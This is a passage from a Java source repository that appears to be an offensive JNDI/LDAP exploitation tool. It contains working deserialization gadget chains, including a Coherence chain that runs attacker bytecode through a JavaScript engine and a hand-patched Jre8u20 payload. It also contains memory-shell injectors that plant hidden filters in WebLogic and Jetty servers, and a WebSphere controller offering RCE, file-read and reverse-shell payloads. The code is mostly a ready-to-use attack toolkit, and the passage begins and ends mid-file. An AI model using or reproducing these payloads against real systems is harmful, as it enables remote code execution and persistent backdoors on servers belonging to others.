DnslogTemplate(param[0]); 31 | dnslogTemplate.cache(); 32 | className = dnslogTemplate.getClassName(); 33 | break; 34 | case reverseshell: 35 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 36 | reverseShellTemplate.cache(); 37 | className = reverseShellTemplate.getClassName(); 38 | break; 39 | case tomcatecho: 40 | className = TomcatEchoTemplate.class.getName(); 41 | break; 42 | case springecho: 43 | className = SpringEchoTemplate.class.getName(); 44 | break; 45 | case weblogicecho: 46 | className = WeblogicEchoTemplate.class.getName(); 47 | break; 48 | case tomcatmemshell1: 49 | className = TomcatMemshellTemplate1.class.getName(); 50 | break; 51 | case tomcatmemshell2: 52 | className = TomcatMemshellTemplate2.class.getName(); 53 | break; 54 | case jettymemshell: 55 | className = JettyMemshellTemplate.class.getName(); 56 | break; 57 | case jbossmemshell: 58 | className = JBossMemshellTemplate.class.getName(); 59 | break; 60 | case weblogicmemshell1: 61 | className = WeblogicMemshellTemplate1.class.getName(); 62 | break; 63 | case weblogicmemshell2: 64 | className = WeblogicMemshellTemplate2.class.getName(); 65 | break; 66 | case webspherememshell: 67 | className = WebsphereMemshellTemplate.class.getName(); 68 | break; 69 | case springmemshell: 70 | className = SpringMemshellTemplate.class.getName(); 71 | break; 72 | default: 73 | throw new IllegalStateException("Unexpected value: " + type); 74 | } 75 | 76 | byte[] bytes = Cache.get(className); 77 | if(bytes == null){ 78 | String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | bytes = Cache.get(shortName); 80 | } 81 | String classCode = HexUtils.toHexString(bytes); 82 | 83 | String code = "var hex = '" + classCode + "';\n" + 84 | "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | "var b = new java.io.ByteArrayOutputStream();\n" + 86 | "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | " var index = i * 2;\n" + 88 | " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | " b.write(v);\n" + 90 | "};\n" + 91 | "b.close(); \n" + 92 | "var bytes = b.toByteArray(); \n" + 93 | "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | "try{\n" + 95 | " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | " clazz.newInstance();\n" + 97 | "}catch(err){\n" + 98 | " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | " method.setAccessible(true);\n" + 100 | " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | " clazz.newInstance();\n" + 102 | "}"; 103 | 104 | ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | "getConstructor", 106 | new Object[]{new Class[0]} 107 | ); 108 | 109 | ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | "newInstance", 111 | new Object[]{new Object[0]} 112 | ); 113 | 114 | ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | "getEngineByName", 116 | new Object[]{"javascript"} 117 | ); 118 | 119 | ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | "eval", 121 | new Object[]{code} 122 | ); 123 | 124 | ReflectionExtractor[] extractors = { 125 | extractor1, 126 | extractor2, 127 | extractor3, 128 | extractor4 129 | }; 130 | 131 | Class clazz = ChainedExtractor.class.getSuperclass(); 132 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 133 | m_aExtractor.setAccessible(true); 134 | 135 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 136 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 137 | reflectionExtractor 138 | }; 139 | 140 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 141 | 142 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 143 | queue.add("1"); 144 | queue.add("1"); 145 | m_aExtractor.set(chainedExtractor1, extractors); 146 | 147 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 148 | queueArray[0] = ScriptEngineManager.class; 149 | queueArray[1] = "1"; 150 | 151 | //序列化 152 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 153 | ObjectOutputStream oos = new ObjectOutputStream(baous); 154 | oos.writeObject(queue); 155 | bytes = baous.toByteArray(); 156 | oos.close(); 157 | 158 | return bytes; 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import sun.misc.BASE64Decoder; 9 | import weblogic.servlet.internal.FilterManager; 10 | import weblogic.servlet.internal.ServletResponseImpl; 11 | import weblogic.servlet.internal.WebAppServletContext; 12 | import weblogic.servlet.utils.ServletMapping; 13 | import weblogic.utils.collections.MatchMap; 14 | import weblogic.work.ExecuteThread; 15 | import weblogic.work.WorkAdapter; 16 | import weblogic.xml.util.StringInputStream; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Method; 19 | import java.util.*; 20 | 21 | public class WeblogicMemshellTemplate2 extends AbstractTranslet { 22 | public String DynamicFilterTemplateB64Code; 23 | public void setDynamicFilterTemplateB64Code(){ 24 | DynamicFilterTemplateB64Code=""; 25 | } 26 | public WeblogicMemshellTemplate2(){ 27 | setDynamicFilterTemplateB64Code(); 28 | try{ 29 | WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork(); 30 | if(adapter.getClass().getName().endsWith("ServletRequestImpl")){ 31 | ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); 32 | try{ 33 | injectShell(adapter); 34 | res.getServletOutputStream().writeStream(new StringInputStream("[+] Memshell Inject Success")); 35 | res.getServletOutputStream().flush(); 36 | res.getWriter().write(""); 37 | }catch(Exception e){ 38 | res.getServletOutputStream().writeStream(new StringInputStream("[-] Memshell Inject Failed")); 39 | res.getServletOutputStream().flush(); 40 | res.getWriter().write(""); 41 | } 42 | }else{ 43 | Field field = adapter.getClass().getDeclaredField("connectionHandler"); 44 | field.setAccessible(true); 45 | Object obj = field.get(adapter); 46 | obj = obj.getClass().getMethod("getServletRequest").invoke(obj); 47 | ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); 48 | try{ 49 | injectShell(obj); 50 | res.getServletOutputStream().writeStream(new StringInputStream("[+] Memshell Inject Success")); 51 | res.getServletOutputStream().flush(); 52 | res.getWriter().write(""); 53 | }catch(Exception e){ 54 | res.getServletOutputStream().writeStream(new StringInputStream("[-] Memshell Inject Failed")); 55 | res.getServletOutputStream().flush(); 56 | res.getWriter().write(""); 57 | } 58 | } 59 | }catch(Exception e){ 60 | e.printStackTrace(); 61 | } 62 | } 63 | 64 | public void injectShell(Object request){ 65 | try { 66 | String filterName = "WeblogicDynamicFilter-2"; 67 | String urlPattern = "/*"; 68 | 69 | Field contextField = request.getClass().getDeclaredField("context"); 70 | contextField.setAccessible(true); 71 | WebAppServletContext servletContext = (WebAppServletContext) contextField.get(request); 72 | FilterManager filterManager = servletContext.getFilterManager(); 73 | 74 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 75 | if (!filterManager.isFilterRegistered(filterName)) { 76 | System.out.println("[+] Add Dynamic Filter"); 77 | 78 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 79 | Class clazz = null; 80 | try{ 81 | BASE64Decoder base64Decoder = new BASE64Decoder(); 82 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 83 | 84 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 85 | method0.setAccessible(true); 86 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 87 | 88 | }catch (Exception ex){ 89 | ex.printStackTrace(); 90 | } 91 | 92 | //将 Filter 注册进 FilterManager 93 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 94 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 95 | registerFilterMethod.setAccessible(true); 96 | registerFilterMethod.invoke(filterManager, filterName, "com.feihong.ldap.template.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null); 97 | 98 | 99 | //将我们添加的 Filter 移动到 FilterChian 的第一位 100 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); 101 | filterPatternListField.setAccessible(true); 102 | ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager); 103 | 104 | 105 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 106 | for(int i = 0; i < filterPatternList.size(); i++){ 107 | Object filterPattern = filterPatternList.get(i); 108 | Field f = filterPattern.getClass().getDeclaredField("map"); 109 | f.setAccessible(true); 110 | ServletMapping mapping = (ServletMapping) f.get(filterPattern); 111 | 112 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); 113 | f.setAccessible(true); 114 | MatchMap matchMap = (MatchMap)f.get(mapping); 115 | 116 | Object result = matchMap.match(urlPattern); 117 | if(result != null && result.toString().contains(urlPattern)){ 118 | Object temp = filterPattern; 119 | filterPatternList.set(i, filterPatternList.get(0)); 120 | filterPatternList.set(0, temp); 121 | break; 122 | } 123 | } 124 | } 125 | } catch (Exception e) { 126 | e.printStackTrace(); 127 | } 128 | } 129 | 130 | @Override 131 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 132 | 133 | } 134 | 135 | @Override 136 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 137 | 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 7 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 8 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 9 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 10 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 11 | import sun.misc.BASE64Decoder; 12 | import javax.management.ObjectName; 13 | import javax.servlet.DispatcherType; 14 | import javax.servlet.Filter; 15 | import java.lang.management.ManagementFactory; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Method; 18 | import java.lang.reflect.Modifier; 19 | import java.util.EnumSet; 20 | import java.util.Set; 21 | 22 | public class JettyMemshellTemplate extends AbstractTranslet { 23 | 24 | public String DynamicFilterTemplateB64Code; 25 | public JettyMemshellTemplate(){ 26 | try{ 27 | String filterName = "dynamicFilter"; 28 | String urlPattern = "/*"; 29 | 30 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 31 | 32 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 33 | field.setAccessible(true); 34 | Object obj = field.get(mBeanServer); 35 | 36 | field = obj.getClass().getDeclaredField("repository"); 37 | field.setAccessible(true); 38 | Field modifier = field.getClass().getDeclaredField("modifiers"); 39 | modifier.setAccessible(true); 40 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 41 | Repository repository = (Repository)field.get(obj); 42 | 43 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 44 | for(NamedObject namedObject : namedObjectSet){ 45 | try{ 46 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 47 | field.setAccessible(true); 48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 49 | Object webAppContext = field.get(namedObject.getObject()); 50 | 51 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 52 | field.setAccessible(true); 53 | Object handler = field.get(webAppContext); 54 | 55 | field = handler.getClass().getDeclaredField("_filters"); 56 | field.setAccessible(true); 57 | Object[] objects = (Object[]) field.get(handler); 58 | 59 | boolean flag = false; 60 | for(Object o : objects){ 61 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 62 | field.setAccessible(true); 63 | String name = (String)field.get(o); 64 | if(name.equals(filterName)){ 65 | flag = true; 66 | break; 67 | } 68 | } 69 | 70 | if(!flag){ 71 | System.out.println("[+] Add Dynamic Filter"); 72 | 73 | ClassLoader classLoader = handler.getClass().getClassLoader(); 74 | Class sourceClazz = null; 75 | Object holder = null; 76 | try{ 77 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 78 | field = sourceClazz.getDeclaredField("JAVAX_API"); 79 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 80 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 81 | holder = method.invoke(handler, field.get(null)); 82 | }catch(ClassNotFoundException e){ 83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 84 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 85 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 86 | } 87 | 88 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); 89 | 90 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 91 | Class clazz = null; 92 | try{ 93 | BASE64Decoder base64Decoder = new BASE64Decoder(); 94 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 95 | 96 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 97 | method0.setAccessible(true); 98 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 99 | 100 | }catch (Exception ex){ 101 | ex.printStackTrace(); 102 | } 103 | 104 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance()); 105 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); 106 | 107 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); 108 | Object filterMapping = clazz.newInstance(); 109 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); 110 | method.setAccessible(true); 111 | method.invoke(filterMapping, holder); 112 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); 113 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); 114 | 115 | // prependFilterMapping 会自动把 filter 加到最前面 116 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); 117 | } 118 | }catch(Exception e){ 119 | //pass 120 | } 121 | } 122 | }catch(Exception e){ 123 | e.printStackTrace(); 124 | } 125 | } 126 | 127 | @Override 128 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 129 | 130 | } 131 | 132 | @Override 133 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 134 | 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jre8u20.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.gadgets.utils.Util; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.beans.beancontext.BeanContextSupport; 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.FileOutputStream; 12 | import java.io.ObjectOutputStream; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.InvocationHandler; 15 | import java.util.HashMap; 16 | import java.util.LinkedHashSet; 17 | 18 | public class Jre8u20 { 19 | public static void main(String[] args) throws Exception { 20 | byte[] bytes = getBytes(PayloadType.command, "calc"); 21 | FileOutputStream fous = new FileOutputStream("888.ser"); 22 | fous.write(bytes); 23 | fous.close(); 24 | } 25 | 26 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 27 | final Object templates = Gadgets.createTemplatesImpl(type, param); 28 | String zeroHashCodeStr = "f5a5a608"; 29 | 30 | HashMap map = new HashMap(); 31 | map.put(zeroHashCodeStr, "foo"); 32 | 33 | InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 34 | Reflections.setFieldValue(handler, "type", Templates.class); 35 | Templates proxy = Gadgets.createProxy(handler, Templates.class); 36 | Reflections.setFieldValue(templates, "_auxClasses", null); 37 | Reflections.setFieldValue(templates, "_class", null); 38 | 39 | map.put(zeroHashCodeStr, templates); // swap in real object 40 | 41 | LinkedHashSet set = new LinkedHashSet(); 42 | 43 | BeanContextSupport bcs = new BeanContextSupport(); 44 | Class cc = Class.forName("java.beans.beancontext.BeanContextSupport"); 45 | Field serializable = cc.getDeclaredField("serializable"); 46 | serializable.setAccessible(true); 47 | serializable.set(bcs, 0); 48 | 49 | Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer"); 50 | beanContextChildPeer.set(bcs, bcs); 51 | 52 | set.add(bcs); 53 | 54 | //序列化 55 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 56 | ObjectOutputStream oos = new ObjectOutputStream(baous); 57 | 58 | oos.writeObject(set); 59 | oos.writeObject(handler); 60 | oos.writeObject(templates); 61 | oos.writeObject(proxy); 62 | oos.close(); 63 | 64 | byte[] bytes = baous.toByteArray(); 65 | bytes[89] = 3; //修改hashset的长度(元素个数) 66 | 67 | //调整 TC_ENDBLOCKDATA 标记的位置 68 | //0x73 = 115, 0x78 = 120 69 | //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA 70 | for(int i = 0; i < bytes.length; i++){ 71 | if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 && 72 | bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){ 73 | bytes = Util.deleteAt(bytes, i + 5); 74 | break; 75 | } 76 | } 77 | 78 | 79 | //将 serializable 的值修改为 1 80 | //0x73 = 115, 0x78 = 120 81 | //0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA 82 | for(int i = 0; i < bytes.length; i++){ 83 | if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 && 84 | bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){ 85 | bytes[i+6] = 1; 86 | break; 87 | } 88 | } 89 | 90 | /** 91 | TC_BLOCKDATA - 0x77 92 | Length - 4 - 0x04 93 | Contents - 0x00000000 94 | TC_ENDBLOCKDATA - 0x78 95 | **/ 96 | 97 | //把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后 98 | //目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流 99 | //0x77 = 119, 0x78 = 120 100 | //0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA 101 | for(int i = 0; i < bytes.length; i++){ 102 | if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 && 103 | bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){ 104 | bytes = Util.deleteAt(bytes, i); 105 | bytes = Util.deleteAt(bytes, i); 106 | bytes = Util.deleteAt(bytes, i); 107 | bytes = Util.deleteAt(bytes, i); 108 | bytes = Util.deleteAt(bytes, i); 109 | bytes = Util.deleteAt(bytes, i); 110 | bytes = Util.deleteAt(bytes, i); 111 | break; 112 | } 113 | } 114 | 115 | /* 116 | serialVersionUID - 0x00 00 00 00 00 00 00 00 117 | newHandle 0x00 7e 00 28 118 | classDescFlags - 0x00 - 119 | fieldCount - 0 - 0x00 00 120 | classAnnotations 121 | TC_ENDBLOCKDATA - 0x78 122 | superClassDesc 123 | TC_NULL - 0x70 124 | newHandle 0x00 7e 00 29 125 | */ 126 | //0x78 = 120, 0x70 = 112 127 | //0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL 128 | for(int i = 0; i < bytes.length; i++){ 129 | if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 && 130 | bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 && 131 | bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 && 132 | bytes[i+12] == 112){ 133 | i = i + 13; 134 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x77); 135 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x04); 136 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 137 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 138 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 139 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x00); 140 | bytes = Util.addAtIndex(bytes, i++, (byte) 0x78); 141 | break; 142 | } 143 | } 144 | 145 | //将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD 146 | //这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改 147 | //原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1)) 148 | // -> count = ois.readInt(); 报错,无法完成整个反序列化流程 149 | // 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了 150 | // 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect... 151 | for(int i = 0; i < bytes.length; i++){ 152 | if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 && 153 | bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){ 154 | i = i + 58; 155 | bytes[i] = 3; 156 | break; 157 | } 158 | } 159 | 160 | //加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束 161 | bytes = Util.addAtLast(bytes, (byte) 0x78); 162 | 163 | return bytes; 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.enumtypes.WebsphereActionType; 5 | import com.feihong.ldap.exceptions.IncorrectParamsException; 6 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.*; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.sdk.Entry; 11 | import com.unboundid.ldap.sdk.LDAPResult; 12 | import com.unboundid.ldap.sdk.ResultCode; 13 | import javax.naming.Reference; 14 | import javax.naming.StringRefAddr; 15 | import java.util.Properties; 16 | 17 | /* 18 | * Requires: 19 | * - websphere v6-9 libraries in the classpath 20 | */ 21 | 22 | @LdapMapping(uri = { "/webspherebypass" }) 23 | public class WebsphereBypassController implements LdapController { 24 | private WebsphereActionType actionType; 25 | private String localJarPath; 26 | private String injectUrl; 27 | 28 | @Override 29 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 30 | 31 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 32 | 33 | Entry e = new Entry(base); 34 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 35 | 36 | if(actionType == WebsphereActionType.rce){ 37 | //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory 38 | Reference ref = new Reference("ExportObject", 39 | "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); 40 | Properties refProps = new Properties(); 41 | refProps.put("com.ibm.ws.client.classpath", localJarPath); 42 | refProps.put("com.ibm.ws.client.classname", "xExportObject"); 43 | // ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); 44 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 45 | 46 | }else{ 47 | //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory 48 | javax.naming.Reference ref = new Reference("ExploitObject", 49 | "com.ibm.ws.webservices.engine.client.ServiceFactory", null); 50 | ref.add(new StringRefAddr("WSDL location", injectUrl)); 51 | ref.add(new StringRefAddr("service namespace","xxx")); 52 | ref.add(new StringRefAddr("service local part","yyy")); 53 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 54 | } 55 | 56 | result.sendSearchEntry(e); 57 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 58 | } 59 | 60 | @Override 61 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { 62 | try{ 63 | int firstIndex = base.indexOf("/"); 64 | int secondIndex = base.indexOf("/", firstIndex + 1); 65 | if(secondIndex < 0) secondIndex = base.length(); 66 | 67 | try{ 68 | actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 69 | System.out.println("[+] ActionType: " + actionType); 70 | }catch(IllegalArgumentException e){ 71 | throw new UnSupportedActionTypeException("UnSupportedActionType: " + base.substring(firstIndex + 1, secondIndex)); 72 | } 73 | 74 | switch(actionType){ 75 | case list: 76 | String file = base.substring(base.lastIndexOf("=") + 1); 77 | System.out.println("[+] Read File/List Directory: " + file); 78 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; 79 | break; 80 | case rce: 81 | String localJarFile = base.substring(base.lastIndexOf("=") + 1); 82 | System.out.println("[+] Local jar path: " + localJarFile); 83 | localJarPath = localJarFile; 84 | break; 85 | case upload: 86 | int thirdIndex = base.indexOf("/", secondIndex + 1); 87 | if(thirdIndex < 0) thirdIndex = base.length(); 88 | 89 | PayloadType payloadType = null; 90 | try{ 91 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); 92 | // webspherebypass 只支持这 4 种类型的 PayloadType 93 | if(payloadType != PayloadType.command && payloadType != PayloadType.dnslog 94 | && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell){ 95 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 96 | } 97 | }catch(IllegalArgumentException e){ 98 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); 99 | } 100 | 101 | System.out.println("[+] PayloadType: " + payloadType); 102 | switch (payloadType){ 103 | case command: 104 | String cmd = Util.getCmdFromBase(base); 105 | System.out.println("[+] Command: " + cmd); 106 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; 107 | break; 108 | case dnslog: 109 | String url = base.substring(base.lastIndexOf("/") + 1); 110 | System.out.println("[+] URL: " + url); 111 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; 112 | break; 113 | case reverseshell: 114 | String[] results = Util.getIPAndPortFromBase(base); 115 | System.out.println("[+] IP: " + results[0]); 116 | System.out.println("[+] Port: " + results[1]); 117 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; 118 | break; 119 | case webspherememshell: 120 | injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; 121 | break; 122 | } 123 | break; 124 | } 125 | }catch(Exception e){ 126 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 127 | if(e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException)e; 128 | 129 | throw new IncorrectParamsException("Incorrect params: " + base); 130 | } 131 | } 132 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import sun.misc.BASE64Decoder; 9 | import javax.servlet.DispatcherType; 10 | import javax.servlet.Filter; 11 | import java.lang.reflect.Method; 12 | import java.util.EnumSet; 13 | import java.util.List; 14 | 15 | public class WebsphereMemshellTemplate extends AbstractTranslet { 16 | public String DynamicFilterTemplateB64Code; 17 | 18 | public void setDynamicFilterTemplateB64Code(){ 19 | DynamicFilterTemplateB64Code=""; 20 | } 21 | public WebsphereMemshellTemplate(){ 22 | setDynamicFilterTemplateB64Code(); 23 | try{ 24 | String filterName = "dynamicFilter"; 25 | String urlPattern = "/*"; 26 | 27 | Class clazz = Thread.currentThread().getClass(); 28 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); 29 | field.setAccessible(true); 30 | Object obj = 